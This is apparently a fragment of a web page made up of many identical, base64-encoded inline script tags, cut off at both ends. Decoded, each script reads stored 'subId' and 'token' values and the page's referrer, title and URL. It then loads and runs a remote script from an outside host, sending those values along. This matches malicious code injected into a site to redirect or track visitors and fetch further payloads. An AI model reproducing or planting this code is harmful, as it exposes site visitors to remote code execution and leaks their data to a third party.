CYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZ